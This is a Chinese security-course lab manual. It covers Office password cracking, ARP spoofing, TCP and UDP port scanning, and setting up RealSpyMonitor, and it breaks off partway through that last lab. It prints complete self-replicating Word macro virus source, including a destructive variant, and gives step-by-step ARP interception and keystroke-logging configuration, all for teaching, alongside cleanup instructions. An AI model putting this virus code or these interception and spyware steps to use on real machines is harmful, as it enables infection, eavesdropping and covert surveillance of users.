网络与信息安全-实验指导书(8次)

网络与信息安全实验指导书

目录实验1.office口令破解工具aoxppr的使用实验2.Word宏病毒实验实验3.用C语言编程实现古典替代密码（凯撒密码）实验4.ARP地址欺骗实验5.TCP与UDP端口扫描实验6.RealSpyMonitor监控网络的使用实验7.瑞星个人防火墙安装使用实验8.加密软件pgp的使用实验一office口令破解工具aoxppr的使用实验目的：了解word口令破解的方法，掌握暴力破解和字典破解的原理，具体破解某个word文档。实验要求：某个同学设置word口令，长度分别为4，5，6，采用字母数字混合。实验步骤：安装aoxppr，点setup，一步步安装完成；运行Aoxppr，点击“帮助”，点击“输入注册码”，打开key.txt文件，输入注册码，OK；破解类型选项，选暴力破解，字母数字混合，密码长度最大选6；某人制作一个word文档，对其进行加密；另一人对其进行解密，在Aoxppr中输入待解密文件的文件名，点击开始解密。如果该文档没有密码，软件马上就会报告此文档不用解密，4位密码很快就可破译，6位的密码破解时间要长一点，运行过程中，随时可以终止运行。系统破解后，会显示出Office文档的密码。破解过程中可以使用掩码，如密码有8位，以x开始，以99结束，可以设置掩码为"x?????99"用该密码去解密OFFICE文档。实验二.Word宏病毒实验实验目的：演示宏的编写；2、说明宏的原理及其安全漏洞和缺陷；3、理解宏病毒的作用机制实验平台：Windows系列操作系统，Word2003应用程序实验步骤：1．软件设置：关闭杀毒软件；打开Word2003，在工具宏安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visualbasic项目的访问。注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。２．自我复制功能演示。打开一个word文档，然后按Alt+F11调用宏编写窗口（工具宏VisualBasic宏编辑器）,在左侧的project—>MicrosoftWord对象ThisDocument中输入以上代码（参见源代码macro_1.txt），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。代码如下：'Micro-VirusSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseSetourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine2,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine2,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithMsgBox"MicroVirusbyContentSecurityLab"EndSub代码解释以上代码的基本执行流程如下：进行必要的自我保护Application.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将工具菜单中的宏选项屏蔽，也可以修改注册表达到很好的隐藏效果。本例中只是屏蔽状态栏，以免显示宏的运行状态，并且修改公用模板时自动保存，不给用户提示。得到当前文档的代码对象和公用模板的代码对象Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf检查模板是否已经感染病毒，如果没有，则复制宏病毒代码到模板，并且修改函数名。WithHostIf.Lines(1.1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,Ourcode .ReplaceLine2,"SubDocument_Close()"IfThisDocument=nomaltemplateThen .ReplaceLine2,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWith执行恶意代码MsgBox"MicroVirusbyContentSecurityLab"３．具有一定破坏性的宏我们可以对上例中的恶意代码稍加修改，使其具有一定的破坏性（这里以著名宏病毒“台湾一号”的恶意代码部分为基础，为使其在word2003版本中运行，且降低破坏性，对源代码作适当修改，参见源代码macro_2.txt）。完整代码如下：'moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=1Thentry:OnErrorGoTotrytest=-1con=1tog$=""i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+"=?"GoTobegEndIftog$=tog$+Str$(nm(i))+"*"Nextibeg:Beepans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错，只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name="细明体".Size=16.Bold=1.Underline=1EndWithSelection.InsertAfterText:="何谓宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfterText:="答案："Selection.Font.Italic=1Selection.InsertAfterText:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfterText:="如何预防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfterText:="答案："Selection.Font.Italic=1Selection.InsertAfterText:="不要看我......"GoTooutElseCount=Count+1Forj=1To20BeepDocuments.AddNextjSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfterText:="宏病毒"IfCount=2ThenGoTooutGoTotryEndIfWendEndIfout:EndSub 该病毒的效果如下：当打开被感染的word文档时，首先进行自我复制，感染word模板，然后检查日期，看是否是1日（即在每月的1日会发作），然后跳出一个对话框，要求用户进行一次心算游戏，这里只用四个小于10的数相乘，如果作者的计算正确，那么就会新建一个文档，跳出如下字幕：何谓宏病毒答案：我就是......如何预防宏病毒答案：不要看我......如果计算错误，新建20个写有“宏病毒”字样的word文档，然后再一次进行心算游戏，总共进行3次，然后跳出程序。关闭文档的时候也会执行同样的询问。４．清除宏病毒对每一个受感染的word文档进行如下操作： 打开受感染的word文档，进入宏编辑环境（Alt+F11），打开NormalMicrosoftWord对象ThisDocument，清除其中的病毒代码（只要删除所有内容即可）。 然后打开ProjectMicrosoftWordThisDocument，清除其中的病毒代码。 实际上，模板的病毒代码只要在处理最后一个受感染文件时清除即可，然而清除模板病毒后，如果重新打开其他已感染文件，模板将再次被感染，因此为了保证病毒被清除，可以查看每一个受感染文档的模板，如果存在病毒代码，都进行一次清除。实验三.用C语言编程实现古典替代密码（凯撒密码）一、实验目的：通过编程实现替代密码算法和置换密码算法，加深对古典密码体制的了解，为深入学习密码学奠定基础。二、实验内容：实验附带的光盘里面有myCrySubstitude.cpp和myCrySubstitude.h文件，提供替代算法加解密数据串的接口。实验附带的光盘里面统一文件夹下面还有test.cpp文件，试在VC下编译运行test.cpp文件，可以看到命令行界面的替代算法的测试程序。输入数据串和密钥，加密，然后解密。记录下明文和密文。实验四.ARP地址欺骗实验目的：1.加深对ARP高速缓存的理解2.了解ARP协议的缺陷实验环境：网络协议仿真系统背景描述：流经主机A和主机C的数据包被主机D使用ARP欺骗进行截获和转发。流经主机E（接口）和主机F的数据包被主机B（接口）使用ARP欺骗进行截获和转发。实验环境配置：本实验采用网络结构二。实验原理：ARP表是IP地址和MAC地址的映射关系表，任何实现了IP协议栈的设备，一般情况下都通过该表维护IP地址和MAC地址的对应关系，这是为了避免ARP解析而造成的广播数据报文对网络造成冲击。ARP表的建立一般情况下是通过二个途径：

1、主动解析，如果一台计算机想与另外一台不知道MAC地址的计算机通信，则该计算机主动发ARP请求，通过ARP协议建立（前提是这两台计算机位于同一个IP子网上）；

2、被动请求，如果一台计算机接收到了一台计算机的ARP请求，则首先在本地建立请求计算机的IP地址和MAC地址的对应表。因此，针对ARP表项，一个可能的攻击就是误导计算机建立正确的ARP表。根据ARP协议，如果一台计算机接收到了一个ARP请求报文，在满足下列两个条件的情况下，该计算机会用ARP请求报文中的源IP地址和源MAC地址更新自己的ARP缓存：1、如果发起该ARP请求的IP地址在自己本地的ARP缓存中；2、请求的目标IP地址不是自己的。举例说明过程:假设有三台计算机A，B，C，其中B已经正确建立了A和C计算机的ARP表项。假设A是攻击者，此时，A发出一个ARP请求报文，该ARP请求报文这样构造：1、源IP地址是C的IP地址，源MAC地址是A的MAC地址；2、请求的目标IP地址是B的IP地址。这样计算机B在收到这个ARP请求报文后（ARP请求是广播报文，网络上所有设备都能收到），发现C的ARP表项已经在自己的缓存中，但MAC地址与收到的请求的源MAC地址不符，于是根据ARP协议，使用ARP请求的源MAC地址（即A的MAC地址）更新自己的ARP表。这样B的ARP缓存中就存在这样的错误ARP表项：C的IP地址跟A的MAC地址对应。这样的结果是，B发给C的数据都被计算机A接收到。实验步骤：按照拓扑结构图连接网络，使用拓扑验证检查连接的正确性。

本练习将主机A、C和D作为一组，主机B、E、F作为一组。现仅以主机A、C和D为例说明试验步骤。（由于两组使用的设备不同，采集到的数据包不完全相同）主机A和主机C使用“arp-a”命令察看并记录ARP高速缓存。主机A、C启动协议分析器开始捕获数据并设置过滤条件（提取ARP协议和ICMP协议）。主机Aping主机C。观察主机A、C上是捕获到的ICMP报文，记录MAC地址。主机D启动仿真编辑器向主机A编辑ARP请求报文（暂时不发送）。其中：

MAC层：“源MAC地址”设置为主机D的MAC地址

“目的MAC地址”设置为主机A的MAC地址

ARP层：“源MAC地址”设置为主机D的MAC地址

“源IP地址”设置为主机C的IP地址

“目的MAC地址”设置为000000-000000。

“目的IP地址”设置为主机A的IP地址主机D向主机C编辑ARP请求报文（暂时不发送）。其中：

MAC层：“源MAC地址”设置为主机D的MAC地址

“目的MAC地址”设置为主机C的MAC地址

ARP层：“源MAC地址”设置为主机D的MAC地址

“源IP地址”设置为主机A的IP地址

“目的MAC地址”设置为000000-000000。

“目的IP地址”设置为主机C的IP地址同时发送第4步和第5步所编辑的数据包。

注意：为防止主机A和主机C的ARP高速缓存表被其它未知报文更新，可以定时发送数据包（例如：每隔500ms发送一次）。观察并记录主机A和主机C的ARP高速缓存表。在主机D上启动静态路由服务（方法：在命令行方式下，输入“staticroute_config”），目的是实现数据转发。主机D禁用ICMP协议。在命令行下输入“mmc”，启动微软管理控制台。导入控制台文件。单击“文件(F)\打开(O)...”菜单项来打开“c:\WINNT\system32\IPSecPolicy\stopicmp.msc”。导入策略文件。单击“操作(A)\所有任务(K)\导入策略(I)...”菜单项来打开“c:\WINNT\system32\IPSecPolicy\stopicmp.ipsec”。此命令执行成功后，在策略名称列表中会出现“禁用ICMP”项。启动策略。用鼠标选中“禁用ICMP”项，单击右键，选择“指派(A)”菜单项。主机A上ping主机C（“ping主机C的IP地址–n1”）。-n：发送count指定的ECHO数据包数。通过这个命令可以自己定义发送的个数，对衡量网络速度很有帮助。能够测试发送数据包的返回平均时间及时间的快慢程度。默认值为4。主机A、C停止捕获数据，分析捕获到的数据，并回答以下问题：主机A、C捕获到的ICMP数据包的源MAC地址和目的MAC地址是什么？结合主机A和主机C捕获到的数据包，绘制出第6步发送的ICMP数据包在网络中的传输路径图。主机D取消对ICMP的禁用。在微软管理控制台（mmc）上，用鼠标选中“禁用ICMP”项，单击右键，选择“不指派(U)”菜单项。实验五.TCP与UDP端口扫描实验目的了解常用的TCP、UDP端口扫描的原理及其各种手段

实验环境：网络协议仿真系统实验原理一、TCP/UDP报文头格式

UDP报文格式见实验六(用户数据报协议UDP)；TCP报文格式见实验七(传输控制协议TCP)实验原理。在TCP首部中6个标志位的用法依次为：

URG紧急指针(urgentpointer)有效。

ACK确认序号有效。

PSH接收方应该尽快将这个报文段交给应用层。

RST重建连接。

SYN同步序号用来发起一个连接。

FIN发端完成发送任务

二、ICMP端口不可达报文

ICMP端口不可达报文格式见Internet控制报文协议ICMP实验原理。类型域为3，代码域为3表示该ICMP报文为端口不可达报文，它是ICMP目的不可达报文的一种。三、TCPconnect()扫描

这种方法最简单，直接连到目标端口并完成一个完整的三次握手过程（SYN,SYN/ACK,和ACK）。操作系统提供的“connect（）”函数完成系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态，那么“connect（）”函数就能成功。否则，这个端口是不能用的，即没有提供服务。这个技术的一个最大的优点是不需要任何权限，系统中的任何用户都有权利使用这个调用。另一个好处是速度。如果对每个目标端口以线性的方式，使用单独的“connect（）”函数调用，那么将会花费相当长的时间，你可以通过同时打开多个套接字，从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期，同时观察多个套接字。但这种方法的缺点是很容易被发觉，并且很容易被过滤掉。目标计算机的日志文件会显示一连串的连接和连接出错的服务消息，目标计算机用户发现后就能很快使它关闭。

四、TCPSYN扫描

这种技术也叫“半开放式扫描”（half-openscanning），因为它没有完成一个完整的TCP协议连接。这种方法向目标端口发送一个SYN分组（packet），如果目标端口返回SYN/ACK标志，那么可以肯定该端口处于检听状态；否则，返回的是RST/ACK标志。这种方法比第一种更具隐蔽性，可能不会在目标系统中留下扫描痕迹。但这种方法的一个缺点是，必须要有root权限才能建立自己的SYN数据包。

五、TCPFIN扫描

这种方法向目标端口发送一个FIN分组。按RFC793的规定，对于所有关闭的端口，目标系统应该返回一个RST（复位）标志。这种方法通常用在基于UNIX的TCP/IP协议堆栈，有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视，有的程序能检测到这些扫描。相反，FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面，打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系，有的系统不管端口是否打开，都回复RST，这样，这种扫描方法就不适用了。并且这种方法在区分Unix和NT时，是十分有用的。

六、UDP端口扫描

这种方法向目标端口发送一个UDP协议分组。如果目标端口以“ICMPportunreachable”消息响应，那么说明该端口是关闭的；反之，如果没有收到“ICMPportunreachable”响应消息，则可以肯定该端口是打开的。由于UDP协议是面向无连接的协议，这种扫描技术的精确性高度依赖于网络性能和系统资源。另外，如果目标系统采用了大量分组过滤技术，那么UDP协议扫描过程会变得非常慢。如果你想对Internet进行UDP协议扫描，那么你不能指望得到可靠的结果。实验环境配置该实验采用网络结构一。实验步骤：按照拓扑结构图连接网络，使用拓扑验证检查连接的正确性。本练习将主机A和B作为一组，主机C和D作为一组，主机E和F作为一组。现仅以主机A和B为例，说明实验步骤。一：TCPConnect扫描1.在主机B上启动协议分析器进行数据捕获,并设置过滤条件(提取TCP协议)。

2.在主机A上使用TCP连接工具，扫描主机B的某一端口：

a.主机A上填入主机B的IP、主机B的某一开放端口号，点击“连接”按钮进行连接。

b.观察提示信息，是否连接上。

c.主机A点击“断开”按钮断开连接。

d.主机A使用主机B的某一未开放的端口重复以上试验步骤。

3.察看主机B捕获的数据，分析连接成功与失败的数据包差别。

结合捕获数据的差别，说明TCPConnet扫描的实现原理。二：TCPSYN扫描1.在主机A上使用端口扫描来获取主机B的TCP活动端口列表（扫描端口范围设置为0~65535）。

2.在主机B上启动协议分析器进行数据捕获,并设置过滤条件(提取TCP协议)。

3.主机A编辑TCP数据包：

MAC层：

目的MAC地址：B的MAC地址。

源MAC地址：A的MAC地址。

IP层：

源IP地址：A的IP地址。

目的IP地址：B的IP地址。

TCP层：

源端口：A的未用端口（大于1024）。

目的端口：B的开放的端口（建议不要选择常用端口）。

标志SYN置为1，其他标志置为0。

4.发送主机A编辑好的数据包。

5.修改主机A编辑的数据包(将目的端口置为主机B上未开放的TCP端口)，将其发送。

6.察看主机B捕获的数据，找到主机A发送的两个数据包对应的应答包。

分析两个应答包的不同之处，说明TCPSYN扫描的实现原理。三：UDP端口扫描1.在主机B上使用命令“netstat-a”，显示本机可用的TCP、UDP端口。注意：通过此命令，会得到一个UDP开放端口列表，同学可以在UDP开放端口列表中任选一个来完成此练习。下面以microsoft-ds（445）端口为例，说明练习步骤。

2.在主机B上启动协议分析器进行数据捕获并设置过滤条件(提取主机A的IP和主机B的IP)。

3.主机A编辑UDP数据包：

MAC层：

目的MAC地址：B的MAC地址。

源MAC地址：A的MAC地址。

IP层：

源IP地址：A的IP地址。

目的IP地址：B的IP地址。

UDP层：

源端口：A的可用端口。

目的端口：B开放的UDP端口445。

4.发送主机A编辑好的数据包。

5.修改主机A编辑的数据包(将目的端口置为主机B上未开放的UDP端口)，将其发送。

6.察看主机B捕获的数据。

主机A发送的数据包，哪个收到目的端口不可达的ICMP数据报。

说明这种端口扫描的原理。

使用这种端口扫描得到的结果准确吗？说明理由。实验六.RealSpyMonitor监控网络的使用实验目的：1。利用RealSpyMonitor记录电脑上所有的操作；2。利用RealSpyMonitor查看所作的纪录。实验要求：1人1组，独立完成实验步骤：首先进行安装，按步骤一步步进行；第一次运行设置密码；RealSpyMonitor主界面共分为四列，分别是“Option”，“PCActivity”，“Internet”以及“Buttons”。RealSpyMonitor的Configuration界面有七个页面，我们先来看看“GeneralSetting”页面。在该页面中，我们可以设定RealSpyMonitor是否在开机的时候自动启动，自动启动是否仅仅在当前用户生效，以及启动的时候是否隐藏界面，是否在桌面设置RealSpyMonitor的快捷方式，是否在启动的时候弹出警告等。一般来说，如果我们希望更有效地发挥RealSpyMonitor的监控功能，我们只需要勾上“LoadmeonWindowsStartupforallUsers”选项，其它则保留默认设置就可以了。下面我们进入“LoggingRecord”页面，在这个页面中，我们可以选择在RealSpyMonitor启动后所需要记录的事件：键盘的敲击；窗口的标题；浏览的Web页面；执行的程序；访问的文件；MSN，ICQ，AIM，YahooMessenger等聊天工具的聊天记录；MSN/Hotmail和Yahoo邮箱的信件内容。我们还可以选择记录文件的路径以及